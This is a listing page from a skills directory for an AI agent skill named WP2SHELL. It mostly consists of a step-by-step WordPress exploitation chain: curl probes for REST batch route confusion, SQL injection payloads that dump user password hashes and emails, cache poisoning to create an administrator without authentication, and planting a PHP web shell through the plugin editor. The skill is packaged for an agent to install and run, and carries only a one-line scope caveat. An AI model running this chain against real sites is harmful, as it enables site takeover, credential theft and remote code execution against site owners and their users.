Skip to content
Back to skills

Wp2shell Wordpress Exploitation

ASecurity

WP2SHELL — WordPress pre-auth admin creation + editor RCE via route confusion (CVE-2026-63030) and author_exclude SQLi (CVE-2026-60137). Use when assessing WordPress targets for REST route confusion, batch endpoint desync, or WP_Query author_exclude injection. Full chain: detect → SQLi → extract → oEmbed poison → admin create → login → editor RCE.

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 11, 2026
developmentpythonphpshellbashsqlapidatabase

Works with

  • api

Security analysis

A100/100

Pro scans all 4 files and shows the line behind each finding

Scanned November 11, 2026

npx -y skills add harezadmm/omp-enhanced --skill wp2shell-wordpress-exploitation --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Wp2shell Wordpress Exploitation?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Wp2shell Wordpress Exploitation
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-wp2shell-wordpress-exploitation/badge)](https://www.skillsdirectory.com/skills/harezadmm-wp2shell-wordpress-exploitation)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: wp2shell-wordpress-exploitation
description: WP2SHELL — WordPress pre-auth admin creation + editor RCE via route confusion (CVE-2026-63030) and author_exclude SQLi (CVE-2026-60137). Use when assessing WordPress targets for REST route confusion, batch endpoint desync, or WP_Query author_exclude injection. Full chain: detect → SQLi → extract → oEmbed poison → admin create → login → editor RCE.
---

# WP2SHELL — WordPress Exploitation Chain

> Level: VERIFIED — oEmbed cache poisoning + Customizer changeset injection →
> pre-auth admin creation → plugin/theme editor RCE.
> No hash cracking required.

## Detection (confirm the target is exploitable)

Run these 3 probes IN ORDER. All 3 must pass before continuing the chain.

### Probe 1 — Batch endpoint alive (route confusion surface)

```bash
curl -s -o /dev/null -w "%{http_code}" -X POST "https://TARGET/wp-json/batch/v1" \
  -H "Content-Type: application/json" -d '{"requests": []}'
```

- **HTTP 207** → batch endpoint alive. Continue.
- **404/403** → batch disabled/blocked. Chain not usable. STOP.

### Probe 2 — Route confusion fires (CVE-2026-63030)

```bash
curl -s -X POST "https://TARGET/wp-json/batch/v1" \
  -H "Content-Type: application/json" \
  -d '{"requests":[{"method":"POST","path":"///"}]}'
```

Route handler desyncs on the PRIMER `///` path. Nested sub-requests bypass REST route
enforcement. Confirm by anomalous multi-status body.

### Probe 3 — SQLi boolean pair (CVE-2026-60137)

`author_exclude` maps to WP_Query `author__not_in`. Inject closing paren + condition:

```bash
# TRUE condition → returns rows
curl -s "https://TARGET/wp-json/wp/v2/users?author_exclude=0)+AND+(1=1)--+-" | head -c 400

# FALSE condition → returns empty
curl -s "https://TARGET/wp-json/wp/v2/users?author_exclude=0)+AND+(1=2)--+-" | head -c 400
```

- Responses DIFFER (rows vs empty) → SQLi confirmed. Continue.
- Responses IDENTICAL → injection filtered. STOP.

## Exploitation chain

### Step 3 — UNION data extraction

Column count: auto-discover 5–40 (`wp_posts` = 23, `wp_users` = 10). Null-pad UNION
until type mismatch clears.

**Packed banner (11 fields in 1 request):**

```sql
0) UNION SELECT CONCAT_WS(0x7c7c,@@version,@@hostname,@@datadir,@@version_compile_os,
@@basedir,@@port,@@have_ssl,@@sql_mode,user(),current_user(),database())-- -
```

**Batched user dump (4 users/query, avoids group_concat_max_len=1024):**

```sql
0) UNION SELECT GROUP_CONCAT(CONCAT(user_login,'~',user_pass,'~',user_email)
SEPARATOR 0x0a) FROM wp_users LIMIT {offset},4-- -
```

Extracts phpass hashes (`$wp$2y$10$` format), emails. Increment `{offset}` by 4.

**Packed wp_options (18 options in 1 query):**

```sql
0) UNION SELECT CONCAT_WS(0x7c7c,
MAX(CASE WHEN option_name='siteurl' THEN option_value END),
MAX(CASE WHEN option_name='home' THEN option_value END), ...) FROM wp_options-- -
```

**Time-based fallback (hardened targets):**

```sql
0) AND (SELECT 1 FROM (SELECT SLEEP(3))z)-- -
```

### Step 4 — oEmbed cache poisoning

WordPress auto-creates `oembed_cache` posts. Cache name = `MD5(embed_url + oembed_size)`
— recoverable via SQLi. Inject fake oEmbed rows into `wp_posts` via UNION.

### Step 5 — Poison graph

Build interconnected `wp_posts` rows: changeset (`customize_changeset`), `nav_menu_item`,
request, inner/outer posts — all referencing source admin `user_id`.

Changeset payload:

```json
{"nav_menu_item[NAV_ID]":{"type":"nav_menu_item","user_id":ADMIN_ID,"value":{...}}}
```

### Step 6 — Pre-auth admin creation

Poison graph triggers Customizer nav_menu render → WordPress issues internal REST call
AS the source admin → `POST /wp/v2/users` with `{"roles":["administrator"]}`.

⚠️ Customizer strips `password` → WordPress auto-generates a random one. Workarounds:
1. REST API application passwords via a second poison graph call, OR
2. Password reset flow: trigger reset → read `user_activation_key` from DB via SQLi →
   forge reset URL.

### Step 7 — Login

`POST /wp-login.php` with created admin credentials.
⚠️ HTTP→HTTPS redirect breaks login POST — use the HTTPS domain directly, or
`allow_redirects=False` + manual cookie capture.

### Step 8 — Editor RCE

Scan `wp-admin/plugins.php` for editable files (`plugin-editor.php?file=...`). Inject
`<?php system($_GET["cmd"]);?>` into the first editable `.php`.
Fallback: `theme-editor.php` → `functions.php` of the active theme.
Verify: `GET <shell_url>?cmd=id` → look for `uid=` in response.

## Executable PoC

See `poc.py` in this skill folder — implements Probes 1–3 + UNION banner/user extraction
with evidence output. Usage:

```bash
python3 poc.py https://TARGET [--dump-users]
```

## Evidence standard

Every step must produce: HTTP status + body snippet. Admin creation is PROVEN only when
the new user exists in `wp_users` (verify via SQLi) AND login sets a
`wordpress_logged_in_*` cookie. RCE is PROVEN only when `?cmd=id` returns `uid=`.

See `WRITEUP.md` for the field-evidence format.

## Scope

Use only on targets within an authorized assessment scope (operator-owned, bounty
scope, or engagement letter).

Files in this skill

  • SKILL.md5 KB
  • WRITEUP.md2.9 KB
  • exploit.py4.1 KB
  • poc.py5 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in development →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.